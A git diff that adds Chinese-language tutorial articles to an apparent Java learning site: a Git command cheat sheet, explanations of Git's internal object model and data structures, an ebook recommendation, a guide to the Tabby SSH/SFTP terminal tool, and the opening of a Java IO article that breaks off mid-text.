+![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/mingling-01.png) + + + +在 Git 专题的[开篇](https://mp.weixin.qq.com/s/hzEnH3ThvuRDW4EeBLlumw),我就提醒大家一定要记住这几个专用名词,对掌握 Git 有很大的帮助: + +- Workspace:工作区 +- Index / Stage:暂存区 +- Repository:仓库区(或本地仓库) +- Remote:远程仓库 + +当然了,没记住的话,也不要紧了,今天就趁机再温故一遍。 + +下面是阮一峰老师整理的常用 Git 命令清单,有必要的话,可以打印一份出来,放在工作台~ + +>http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html + +### 一、新建代码库 + +``` +# 在当前目录新建一个Git代码库 +$ git init + +# 新建一个目录,将其初始化为Git代码库 +$ git init [project-name] + +# 下载一个项目和它的整个代码历史 +$ git clone [url] +``` + +### 二、配置 +Git的配置文件为.gitconfig,它可以在用户主目录下(全局配置),也可以在项目目录下(项目配置)。 + +``` +# 显示当前的Git配置 +$ git config --list + +# 编辑Git配置文件 +$ git config -e [--global] + +# 设置提交代码时的用户信息 +$ git config [--global] user.name "[name]" +$ git config [--global] user.email "[email address]" +``` + +### 三、增加/删除文件 + +``` +# 添加指定文件到暂存区 +$ git add [file1] [file2] ... + +# 添加指定目录到暂存区,包括子目录 +$ git add [dir] + +# 添加当前目录的所有文件到暂存区 +$ git add . + +# 添加每个变化前,都会要求确认 +# 对于同一个文件的多处变化,可以实现分次提交 +$ git add -p + +# 删除工作区文件,并且将这次删除放入暂存区 +$ git rm [file1] [file2] ... + +# 停止追踪指定文件,但该文件会保留在工作区 +$ git rm --cached [file] + +# 改名文件,并且将这个改名放入暂存区 +$ git mv [file-original] [file-renamed] +``` +### 四、代码提交 + +``` +# 提交暂存区到仓库区 +$ git commit -m [message] + +# 提交暂存区的指定文件到仓库区 +$ git commit [file1] [file2] ... -m [message] + +# 提交工作区自上次commit之后的变化,直接到仓库区 +$ git commit -a + +# 提交时显示所有diff信息 +$ git commit -v + +# 使用一次新的commit,替代上一次提交 +# 如果代码没有任何新变化,则用来改写上一次commit的提交信息 +$ git commit --amend -m [message] + +# 重做上一次commit,并包括指定文件的新变化 +$ git commit --amend [file1] [file2] ... +``` + +### 五、分支 + +``` +# 列出所有本地分支 +$ git branch + +# 列出所有远程分支 +$ git branch -r + +# 列出所有本地分支和远程分支 +$ git branch -a + +# 新建一个分支,但依然停留在当前分支 +$ git branch [branch-name] + +# 新建一个分支,并切换到该分支 +$ git checkout -b [branch] + +# 新建一个分支,指向指定commit +$ git branch [branch] [commit] + +# 新建一个分支,与指定的远程分支建立追踪关系 +$ git branch --track [branch] [remote-branch] + +# 切换到指定分支,并更新工作区 +$ git checkout [branch-name] + +# 切换到上一个分支 +$ git checkout - + +# 建立追踪关系,在现有分支与指定的远程分支之间 +$ git branch --set-upstream [branch] [remote-branch] + +# 合并指定分支到当前分支 +$ git merge [branch] + +# 选择一个commit,合并进当前分支 +$ git cherry-pick [commit] + +# 删除分支 +$ git branch -d [branch-name] + +# 删除远程分支 +$ git push origin --delete [branch-name] +$ git branch -dr [remote/branch] +``` + +### 六、标签 + +``` +# 列出所有tag +$ git tag + +# 新建一个tag在当前commit +$ git tag [tag] + +# 新建一个tag在指定commit +$ git tag [tag] [commit] + +# 删除本地tag +$ git tag -d [tag] + +# 删除远程tag +$ git push origin :refs/tags/[tagName] + +# 查看tag信息 +$ git show [tag] + +# 提交指定tag +$ git push [remote] [tag] + +# 提交所有tag +$ git push [remote] --tags + +# 新建一个分支,指向某个tag +$ git checkout -b [branch] [tag] +``` + +### 七、查看信息 + +``` +# 显示有变更的文件 +$ git status + +# 显示当前分支的版本历史 +$ git log + +# 显示commit历史,以及每次commit发生变更的文件 +$ git log --stat + +# 搜索提交历史,根据关键词 +$ git log -S [keyword] + +# 显示某个commit之后的所有变动,每个commit占据一行 +$ git log [tag] HEAD --pretty=format:%s + +# 显示某个commit之后的所有变动,其"提交说明"必须符合搜索条件 +$ git log [tag] HEAD --grep feature + +# 显示某个文件的版本历史,包括文件改名 +$ git log --follow [file] +$ git whatchanged [file] + +# 显示指定文件相关的每一次diff +$ git log -p [file] + +# 显示过去5次提交 +$ git log -5 --pretty --oneline + +# 显示所有提交过的用户,按提交次数排序 +$ git shortlog -sn + +# 显示指定文件是什么人在什么时间修改过 +$ git blame [file] + +# 显示暂存区和工作区的差异 +$ git diff + +# 显示暂存区和上一个commit的差异 +$ git diff --cached [file] + +# 显示工作区与当前分支最新commit之间的差异 +$ git diff HEAD + +# 显示两次提交之间的差异 +$ git diff [first-branch]...[second-branch] + +# 显示今天你写了多少行代码 +$ git diff --shortstat "@{0 day ago}" + +# 显示某次提交的元数据和内容变化 +$ git show [commit] + +# 显示某次提交发生变化的文件 +$ git show --name-only [commit] + +# 显示某次提交时,某个文件的内容 +$ git show [commit]:[filename] + +# 显示当前分支的最近几次提交 +$ git reflog +``` +### 八、远程同步 +``` +# 下载远程仓库的所有变动 +$ git fetch [remote] + +# 显示所有远程仓库 +$ git remote -v + +# 显示某个远程仓库的信息 +$ git remote show [remote] + +# 增加一个新的远程仓库,并命名 +$ git remote add [shortname] [url] + +# 取回远程仓库的变化,并与本地分支合并 +$ git pull [remote] [branch] + +# 上传本地指定分支到远程仓库 +$ git push [remote] [branch] + +# 强行推送当前分支到远程仓库,即使有冲突 +$ git push [remote] --force + +# 推送所有分支到远程仓库 +$ git push [remote] --all +``` +### 九、撤销 +``` +# 恢复暂存区的指定文件到工作区 +$ git checkout [file] + +# 恢复某个commit的指定文件到暂存区和工作区 +$ git checkout [commit] [file] + +# 恢复暂存区的所有文件到工作区 +$ git checkout . + +# 重置暂存区的指定文件,与上一次commit保持一致,但工作区不变 +$ git reset [file] + +# 重置暂存区与工作区,与上一次commit保持一致 +$ git reset --hard + +# 重置当前分支的指针为指定commit,同时重置暂存区,但工作区不变 +$ git reset [commit] + +# 重置当前分支的HEAD为指定commit,同时重置暂存区和工作区,与指定commit一致 +$ git reset --hard [commit] + +# 重置当前HEAD为指定commit,但保持暂存区和工作区不变 +$ git reset --keep [commit] + +# 新建一个commit,用来撤销指定commit +# 后者的所有变化都将被前者抵消,并且应用到当前分支 +$ git revert [commit] + +# 暂时将未提交的变化移除,稍后再移入 +$ git stash +$ git stash pop +``` +### 十、其他 +``` +# 生成一个可供发布的压缩包 +$ git archive +``` \ No newline at end of file diff --git a/docs/git/neibushixian.md b/docs/git/neibushixian.md new file mode 100644 index 0000000000..872f4c793b --- /dev/null +++ b/docs/git/neibushixian.md @@ -0,0 +1,75 @@ +学习 Git 的内部实现,最好的办法是看 Linus 最初的代码提交,checkout 出 Git 项目的第一次提交节点,可以看到代码库中只有几个文件:一个 README,一个构建脚本 Makefile,剩下几个 C 源文件。这次 commit 的备注写的也非常特别: + +``` +commit e83c5163316f89bfbde7d9ab23ca2e25604af290 +Author: Linus Torvalds +Date: Thu Apr 7 15:13:13 2005 -0700 + + Initial revision of "git", the information manager from hell +``` + +在 README 中,Linus 详细描述了 Git 的设计思路。看似复杂的 Git 工作,在 Linus 的设计里,只有两种对象抽象: + +- 对象数据库(“object database”); +- 当前目录缓存(“current directory cache”)。 + +Git 的本质就是一系列的文件对象集合,代码文件是对象、文件目录树是对象、commit 也是对象。这些文件对象的名称即内容的 SHA1 值,SHA1 哈希算法的值为 40 位。Linus 将前二位作为文件夹、后 38 位作为文件名。大家可以在 .git 目录里的 objects 里看到有很多两位字母/数字名称的目录,里面存储了很多 38 位 hash 值名称的文件,这就是 Git 的所有信息。 + +Linus 在设计对象的数据结构时按照 <标签ascii码表示>(blob/tree/commit) + <空格> + <长度ascii码表示> + <\0> + <二进制数据内容> 来定义,大家可以用 xxd 命令看下 objects 目录里的对象文件(需 zlib 解压),比如一个 tree 对象文件内容如下: + +``` +00000000: 7472 6565 2033 3700 3130 3036 3434 2068 tree 37.100644 h +00000010: 656c 6c6f 2e74 7874 0027 0c61 1ee7 2c56 ello.txt.'.a..,V +00000020: 7bc1 b2ab ec4c bc34 5bab 9f15 ba +``` + +对象有三种:BLOB、TREE、CHANGESET。 + +BLOB: 即二进制对象,这就是 Git 存储的文件,Git 不像某些 VCS (如 SVN)那样存储变更 delta 信息,而是存储文件在每一个版本的完全信息。 + +比如先提交了一份 hello.c 进入了 Git 库,会生成一个 BLOB 文件完整记录 hello.c 的内容;对 hello.c 修改后,再提交 commit,会再生成一个新的 BLOB 文件记录修改后的 hello.c 全部内容。 + +Linus 在设计时,BLOB 中仅记录文件的内容,而不包含文件名、文件属性等元数据信息,这些信息被记录在第二种对象 TREE 里。 + +TREE: 目录树对象。在 Linus 的设计里,TREE 对象就是一个时间切片中的目录树信息抽象,包含了文件名、文件属性及 BLOB 对象的 SHA1 值信息,但没有历史信息。这样的设计好处是可以快速比较两个历史记录的 TREE 对象,不能读取内容,而根据 SHA1 值显示一致和差异的文件。 + +另外,由于 TREE 上记录文件名及属性信息,对于修改文件属性或修改文件名、移动目录而不修改文件内容的情况,可以复用 BLOB 对象,节省存储资源。而 Git 在后来的开发演进中又优化了 TREE 的设计,变成了某一时间点文件夹信息的抽象,TREE 包含其子目录的 TREE 的对象信息(SHA1)。这样,对于目录结构很复杂或层级较深的 Git 库 可以节约存储资源。历史信息被记录在第三种对象 CHANGESET 里。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/neibushixian-01.png) + +CHANGESET:即 Commit 对象。一个 CHANGESET 对象中记录了该次提交的 TREE 对象信息(SHA1),以及提交者(committer)、提交备注(commit message)等信息。 + +跟其他 SCM(软件配置管理)工具所不同的是,Git 的 CHANGESET 对象不记录文件重命名和属性修改操作,也不会记录文件修改的 Delta 信息等,CHANGESET 中会记录父节点 CHANGESET 对象的 SHA1 值,通过比较本节点和父节点的 TREE 信息来获取差异。 + +Linus 在设计 CHANGESET 父节点时允许一个节点最多有 16 个父节点,虽然超过两个父节点的合并是很奇怪的事情,但实际上,Git 是支持超过两个分支的多头合并的。 + +Linus 在三种对象的设计解释后着重阐述了可信(TRUST):虽然 Git 在设计上没有涉及可信的范畴,但 Git 作为配置管理工具是可以做到可信的。原因是所有的对象都以 SHA1 编码(Google 实现 SHA1 碰撞攻击是后话,且 Git 社区也准备使用更高可靠性的 SHA256 编码来代替),而签入对象的过程可信靠签名工具保证,如 GPG 工具等。 + +理解了 Git 的三种基本对象,那么对于 Linus 对于 Git 初始设计的“对象数据库”和“当前目录缓存”这两层抽象就很好理解了。加上原本的工作目录,Git 有三层抽象,如下图示:一个是当前工作区(Working Directory),也就是我们查看/编写代码的地方,一个是 Git 仓库(Repository),即 Linus 说的对象数据库,我们在 Git 仓看到的 .git 文件夹中存储的内容,Linus 在第一版设计时命名为 .dircache,在这两个存储抽象中还有一层中间的缓存区(Staging Area),即 .git/index 里存储的信息,我们在执行 git add 命令时,便是将当前修改加入到了缓存区。 + +Linus 解释了“当前目录缓存”的设计,该缓存就是一个二进制文件,内容结构很像 TREE 对象,与 TREE 对象不同的是 index 不会再包含嵌套 index 对象,即当前修改目录树内容都在一个 index 文件里。这样设计有两个好处: + +- 1. 能够快速的复原缓存的完整内容,即使不小心把当前工作区的文件删除了,也可以从缓存中恢复所有文件; +- 2. 能够快速找出缓存中和当前工作区内容不一致的文件。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/neibushixian-02.png) + +Linus 在 Git 的第一次代码提交里便完成了 Git 的最基础功能,并可以编译使用。代码极为简洁,加上 Makefile 一共只有 848 行。感兴趣的话可以通过上一段所述方法 checkout Git 最早的 commit 上手编译玩玩,只要有 Linux 环境即可。 + +因为依赖库版本的问题,需要对原始 Makefile 脚本做些小修改。Git 第一个版本依赖 openssl 和 zlib 两个库,需要手工安装这两个开发库。在 ubuntu 上执行: sudo apt install libssl-dev libz-dev ;然后修改 makefile 在 LIBS= -lssl 行 中的 -lssl 改成 -lcrypto 并增加 -lz ;最后执行 make,忽略编译告警,会发现编出了7个可执行程序文件:init-db, update-cache, write-tree, commit-tree, cat-file, show-diff 和 read-tree。 + +下面分别简要介绍下这些可执行程序的实现: + +- init-db: 初始化一个 git 本地仓库,这也就是我们现在每次初始化建立 git 库式敲击的 git init 命令。只不过一开始 Linus 建立的仓库及 cache 文件夹名称叫 .dircache,而不是我们现在所熟知的 .git 文件夹。 +- update-cache: 输入文件路径,将该文件(或多个文件)加入缓冲区中。具体实现是:校验路径合法性,然后将文件计算 SHA1值,将文件内容加上 blob 头信息进行 zlib 压缩后写入到对象数据库(.dircache/objects)中;最后将文件路径、文件属性及 blob sha1 值更新到 .dircache/index 缓存文件中。 +- write-tree: 将缓存的目录树信息生成 TREE 对象,并写入对象数据库中。TREE 对象的数据结构为:‘tree ‘ + 长度 + \0 + 文件树列表。文件树列表中按照 文件属性 + 文件名 + \0 + SHA1 值结构存储。写入对象成功后,返回该 TREE 对象的 SHA1 值。 +- commit-tree: 将 TREE 对象信息生成 commit 节点对象并提交到版本历史中。具体实现是输入要提交的 TREE 对象 SHA1 值,并选择输入父 commit 节点(最多 16个),commit 对象信息中包含 TREE、父节点、committer 及作者的 name、email及日期信息,最后写入新的 commit 节点对象文件,并返回 commit 节点的 SHA1 值。 +- cat-file: 由于所有的对象文件都经过 zlib 压缩,因此想要查看文件内容的话需要使用这个工具来解压生成临时文件,以便查看对象文件的内容。 +- show-diff: 快速比较当前缓存与当前工作区的差异,因为文件的属性信息(包括修改时间、长度等)也保存在缓存的数据结构中,因此可以快速比较文件是否有修改,并展示差异部分。 +- read-tree: 根据输入的 TREE 对象 SHA1 值输出打印 TREE 的内容信息。 + +这就是第一个可用版本的 Git 的全部七个子程序,可能用过 Git 的小伙伴会说:这怎么跟我常用的 Git 命令不一样呢?Git add, git commit 呢?是的,在最初的 Git 设计中是没有我们这些平常所使用的 git 命令的。 + +在 Git 的设计中,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 就设计了这些给开源社区黑客使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。 + +后来接手 Git 的 Junio Hamano 觉得这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。 \ No newline at end of file diff --git a/docs/git/progit.md b/docs/git/progit.md new file mode 100644 index 0000000000..6875e8c3b0 --- /dev/null +++ b/docs/git/progit.md @@ -0,0 +1,38 @@ +今天给大家分享一本个人最近看过觉得非常不错的Git开源手册,可能有些小伙伴也看过了,我是最近在通勤路上用PAD看的。这本开源手册,它除了有**PDF版**,还有**epub电子书版**,非常适合电子阅读,有需要的小伙伴可以在文末自行下载: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-01.png) + +相信看完对于个人Git知识体系的梳理和掌握是非常有帮助的。 + +这本手册在豆瓣上评价极高,之前9.3,现在也有9.1的高分,其作者是GitHub的员工,内容主要侧重于各种场合中的惯用法和底层原理的讲述,手册中还针对不同的使用场景,设计了几个合适的版本管理策略。简而言之,这本手册无论是对于初学者还是想进一步了解Git工作原理的开发者都非常合适。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-02.png) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-03.png) + +这个手册一共分为十章,详细内容如下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-04.png) + +**手册中部分内容展示如下:** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-05.png) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-06.png) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-07.png) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-08.png) + +**需要该Git手册PDF+epub电子书的小伙伴:** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/git/progit-09.png) + +可直接长按扫码关注下方二维码,回复 「**git**」 即可下载: + +![(长按扫码识别)](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/itwanger.png) + + +好了,这次资源分享就到这里!后续如果遇到有用的工具或者资源,依然还会持续分享,也欢迎大家多多安利和交流,一起分享成长。 + +以上,我们下篇见。 diff --git a/docs/git/shujujiegou.md b/docs/git/shujujiegou.md new file mode 100644 index 0000000000..863cd766e3 --- /dev/null +++ b/docs/git/shujujiegou.md @@ -0,0 +1,135 @@ +尽管 Git 的接口有些难懂,但它底层的设计和思想却非常的优雅。难懂的接口只能靠死记硬背,但优雅的底层设计则非常容易理解。我们可以通过一种自底向上的方式来学习 Git,先了解底层的数据模型,再学习它的接口。可以这么说,一旦搞懂了 Git 的数据模型,再学习它的接口并理解这些接口是如何操作数据模型的就非常容易了。 + +进行版本控制的方法很多,Git 拥有一个精心设计的模型,这使其能够支持版本控制所需的所有特性,比如维护历史记录、支持分支和团队协作。 + +### 快照 + +Git 将顶级目录中的文件和文件夹称作集合,并通过一系列快照来管理历史记录。在 Git 的术语中,文件被称为 blob 对象(数据对象),也就是一组数据。目录则被称为 tree(树),目录中可以包含文件和子目录。 + +``` + (tree) +| ++- foo (tree) +| | +| + bar.txt (blob, contents = "hello world") +| ++- baz.txt (blob, contents = "git is wonderful") +``` + +顶层的树(也就是 root) 包含了两个元素,一个名为 foo 的子树(包含了一个 blob 对象“bar.txt”),和一个 blob 对象“baz.txt”。 + +### 历史记录建模:关联快照 + +版本控制系统是如何和快照进行关联的呢?线性历史记录是一种最简单的模型,它包含了一组按照时间顺序线性排列的快照。不过,出于种种原因,Git 没有采用这种模型。 + +在 Git 中,历史记录是一个由快照组成的有向无环图。“有向无环图”,听起来很高大上,但其实并不难理解。我们只需要知道这代表 Git 中的每个快照都有一系列的父辈,也就是之前的一系列快照。这些快照通常被称为“commit”,看起来好像是下面这样: + +``` +o <-- o <-- o <-- o + ^ + \ + --- o <-- o +``` + +o 表示一次 commit,也就是一次快照。箭头指向了当前 commit 的父辈。在第三次 commit 之后,历史记录分叉成了两条独立的分支,这可能是因为要同时开发两个不同的特性,它们之间是相互独立的。开发完成后,这些分支可能会被合并为一个新的 commit,这个新的 commit 会同时包含这些特性,看起来好像是下面这样: + +``` +o <-- o <-- o <-- o <---- o + ^ / + \ v + --- o <-- o +``` + +Git 中的 commit 是不可改变的。当然了,这并不意味着不能被修改,只不过这种“修改”实际上是创建了一个全新的提交记录。 + +### 数据模型及其伪代码表示 + +以伪代码的形式来学习 Git 的数据模型,可能更加通俗易懂。 + +``` +// 文件是一组数据 +type blob = array + +// 一个包含了文件和子目录的目录 +type tree = map + +// 每个 commit 都包含了一个父辈,元数据和顶层树 +type commit = struct { + parent: array // 父辈 + author: string // 作者 + message: string // 信息 + snapshot: tree // 快照 +} +``` + +### 对象和内存寻址 + +Git 中的对象可以是 blob、tree 或者 commit: + +``` +type object = blob | tree | commit +``` + +Git 在存储数据的时候,所有的对象都会基于它们的安全散列算法进行寻址。 + +``` +objects = map + +def store(object): + id = sha1(object) + objects[id] = object + +def load(id): + return objects[id] +``` + +blob、tree 和 commit 一样,都是对象。当它们引用其他对象时,并没有真正在硬盘上保存这些对象,而是仅仅保存了它们的哈希值作为引用。 + +还记得之前的例子吗? + +``` + (tree) +| ++- foo (tree) +| | +| + bar.txt (blob, contents = "hello world") +| ++- baz.txt (blob, contents = "git is wonderful") +``` + +root 引用的 foo 和 baz.txt 就像下面这样: + +``` +100644 blob 4448adbf7ecd394f42ae135bbeed9676e894af85 baz.txt +040000 tree c68d233a33c5c06e0340e4c224f0afca87c8ce87 foo +``` + +### 引用 + +所有的快照都可以通过它们的哈希值来标记,但 40 位的十六进制字符实在是太难记了,很不方便。针对这个问题,Git 的解决办法是给这些哈希值赋予一个可读的名字,也就是引用(reference),引用是指向 commit 的指针,与对象不同,它是可变的,可以被更新,指向新的 commit。通常,master 引用通常会指向主分支的最新一次 commit。 + +``` +references = map + +def update_reference(name, id): + references[name] = id + +def read_reference(name): + return references[name] + +def load_reference(name_or_id): + if name_or_id in references: + return load(references[name_or_id]) + else: + return load(name_or_id) +``` + +这样,Git 就可以使用“master”这样容易被记住的名称来表示历史记录中特定的 commit,而不需要再使用一长串的十六进制字符了。 + +在 Git 中,当前的位置有一个特殊的索引,它就是“HEAD”。 + +### 仓库 + +我们可以粗略地给出 Git 仓库的定义了:对象 和 引用。 + +在硬盘上,Git 仅存储对象和引用,因为其数据模型仅包含这些东西。所有的 git 命令都对应着对 commit 树的操作。 diff --git a/docs/gongju/tabby.md b/docs/gongju/tabby.md new file mode 100644 index 0000000000..a116813d4b --- /dev/null +++ b/docs/gongju/tabby.md @@ -0,0 +1,160 @@ +大家好,我是二哥呀! + +作为一名 Java 后端开发,日常工作中免不了要和 Linux 服务器打交道,因为生产环境基本上都是部署在 Linux 环境下的。以前呢,我会选择 Xshell 来作为终端进行远程操作。 + +随着付费版本的出现,尤其是 Xshell 把 FTP 分离出去后,上传下载文件的话还需要单独装一下 Xftp,这显然没有之前集成在一起方便😖。 + +还有一点让我费解的是,Xshell 竟然一直没有推出 macOS 版。 + +不过,滴水之恩当涌泉相报,我还是要说,Xshell 真的是非常的 Nice,从实习到现在,Windows 环境下,我基本上一直在用,差不多有快 10 年的时间了,感情还是在的。 + +相信很多小伙伴也在问,有没有一款,**集成了 FTP 功能,并且跨平台的终端工具呢?如果能免费开源的话,就更好了**! + +答案是有的,它就是 **Tabby**! + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-01.png) + +GitHub 上已经有 21.4k 的 star 了,这说明 Tabby 非常的受欢迎: + +>https://github.com/eugeny/tabby + +*Tabby:二哥,我谢谢你呀,能再吹两句吗?* + +Tabby 是一个高度可定制化的 跨平台的终端工具,支持 Windows、macOS 和 Linux,自带 SFTP 功能,能与 Linux 服务器轻松传输文件,支持多种主题,界面炫酷,插件丰富。 + +### 一、安装 Tabby + +直接到官网 `tabby.sh` 点击「download」按钮就可以跳转到下载页面,最新的 release 版本是 1.0.164。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-02.png) + +Linux 和 Windows 的比较好选,macOS 分为两个版本,一个是 arm64,一个是 x86-64,什么意思呢? + +这里简单普及下哈。 + +>ARM是英国ARM公司提供一种CPU架构的知识产权,目前主流的手机和平板电脑都采用ARM架构,但 ARM 不生产芯片,只是从各种嵌入式设备、智能手机、平板电脑、智能穿戴和物联网设备体内的上亿颗处理器中“抽成”。 + +Apple M1 是苹果公司的第一款基于ARM架构的自研处理器单片系统。 + +> X86_X64 源于英特尔几十年前出品的CPU型号8086,包括后续型号8088/80286/80386/80486/80586等等,8086以及8088被当时的IBM采用,制造出了名噪一时的IBM PC机,从此个人电脑风靡一时。 + +详情可参阅下面这篇: + +>https://www.cnblogs.com/zhaoqingqing/p/13145115.html + +从这一点上可以证明,Tabby 的更新是非常勤快的,连 macOS 的最新芯片 M1 都支持了,厉害了呀,我的虎斑猫(Tabby)! + +按照提示,一步步安装就 OK 了。完成后打开,这界面还是非常炫酷的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-03.png) + +## 二、SSH 连接 + +SSH,也就是 Secure Shell(安全外壳协议),是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境,通过在网络中创建安全隧道来实现 SSH 客户端和服务器端之间的连接。 + +之前说要带大家玩转 Linux 服务器,我们先安装了[宝塔面板](https://mp.weixin.qq.com/s/ditN9J80rSWwnYRumwb4ww)这个神器。宝塔里面有自带的终端,但说实话,体验一般。 + +那不妨我们就使用 Tabby 来与服务器建立一个 SSH 连接吧。 + +点击「setting」→「profiles & connections」→「new profile」。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-04.png) + +填写服务器的 IP 地址和密码,然后点击「save」。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-05.png) + +之后点击「运行」按钮,就可以进入到终端页面了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-06.png) + + +好了,现在可以对服务器进行操作了,执行下 top 命令可以查看服务器上正在运行的进程信息。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-07.png) + +### 三、SFTP 传输文件 + +Tabby 集成了 SFTP,所以上传下载文件就变得非常的简单。只需要点击一下「SFTP」图标就可以打开文件传输窗口。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-08.png) + +上传的时候支持拖拽,完成后会弹出文件传输成功的提示消息。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-09.png) + +下载的时候点击要下载的文件,然后会弹出存储对话框,选择对应的文件夹,以及修改对应的文件名点击「存储」就可以了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-10.png) + +### 四、配置 Tabby + +「Settings」 的面板下有一个「Appearance」的菜单,可以对 Tabby 的外观进行设置,比如说调整字体,比如说自定义样式。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-11.png) + +「Appearance」的菜单可以对 Tabby 的配色方案进行修改,里面的主题非常多,不过我感觉默认的就挺不错,毕竟是官方推荐的。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-12.png) + + 「Plugins」 菜单中还有不少插件可供扩展。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-13.png) + +* [clickable-links](https://github.com/Eugeny/tabby-clickable-links) - 使终端中的路径和 URL 可点击 +* [docker](https://github.com/Eugeny/tabby-docker) - 连接到 Docker 容器 +* [title-control](https://github.com/kbjr/terminus-title-control) - 允许通过提供要删除的前缀、后缀和/或字符串来修改终端选项卡的标题 +* [quick-cmds](https://github.com/Domain/terminus-quick-cmds) - 快速向一个或所有终端选项卡发送命令 +* [save-output](https://github.com/Eugeny/tabby-save-output) - 将终端输出记录到文件中 + +这里重点说一下「sync config」 这个插件,可以将配置同步到Github或者Gitee的插件。点击「Get」就可以安装,之后会提示你重启生效。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-14.png) + +生效后点击「Sync Config」菜单,就可以看到配置项了,类型可以选择 GitHub、Gitee、GitLab。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-15.png) + +这里以 Gitee 为例,进入个人 Gitee 主页,左侧菜单中选择「私人令牌」,然后点击「生成新令牌」。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-16.png) + +提交后会生成 token,复制到 Tabby 的 Token 输入框中,然后点击「Upload config」,就可以看到配置信息同步成功了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-17.png) + + + + 「Window」 菜单中可以对当前窗口进行设置,比如说改变窗口的主题为 Paper,改变 tab 的位置到底部等等。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-18.png) + +### 五、总结 + +SSH 连接和 SFTP 传输恐怕是我们操作 Linux 服务器最常用的两个功能了,那 Tabby 对这两个功能的支持非常的友好,足够的轻量级。关键它是跨平台的,Windows、macOS 都可以用,再把配置信息同步到云上后,多平台下切换起来简直不要太舒服。 + +Windows 用户习惯用 Xshell,macOS 用户习惯用 iTerm2,但这两款工具都没办法跨平台,多平台操作的用户就可以选择 Tabby 来体验一下,真心不错。 + +Tabby 的学习资料还比较少,所以希望二哥的这篇文章能给有需要的小伙伴提供一点点的帮助和启发。 + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/io/shangtou.md b/docs/io/shangtou.md new file mode 100644 index 0000000000..7601d4b86d --- /dev/null +++ b/docs/io/shangtou.md @@ -0,0 +1,347 @@ + + +“老王,Java IO 也太上头了吧?”新兵蛋子小二向头顶很凉快的老王抱怨道,“你瞧,我就按照传输方式对 IO 进行了一个简单的分类,就能搞出来这么多的玩意!” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/io/shangtou-01.png) + +好久没搞过 IO 了,老王看到这幅思维导图也是吃了一惊。想想也是,他当初学习 Java IO 的时候头也大,乌央乌央的一片,全是类,估计是所有 Java 包里面类最多的,一会是 Input 一会是 Output,一会是 Reader 一会是 Writer,真不知道 Java 的设计者是怎么想的。 + +看着肺都快要气炸的小二,老王深深地吸了一口气,耐心地对小二说:“主要是 Java 的设计者考虑得比较多吧,所以 IO 给人一种很乱的感觉,我来给你梳理一下。” + +### 01、传输方式划分 + +就按照你的那副思维导图来说吧。 + +传输方式有两种,字节和字符,那首先得搞明白字节和字符有什么区别,对吧? + +字节(byte)是计算机中用来表示存储容量的一个计量单位,通常情况下,一个字节有 8 位(bit)。 + +字符(char)可以是计算机中使用的字母、数字、和符号,比如说 A 1 $ 这些。 + +通常来说,一个字母或者一个字符占用一个字节,一个汉字占用两个字节。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/io/shangtou-02.png) + +具体还要看字符编码,比如说在 UTF-8 编码下,一个英文字母(不分大小写)为一个字节,一个中文汉字为三个字节;在 Unicode 编码中,一个英文字母为一个字节,一个中文汉字为两个字节。 + + 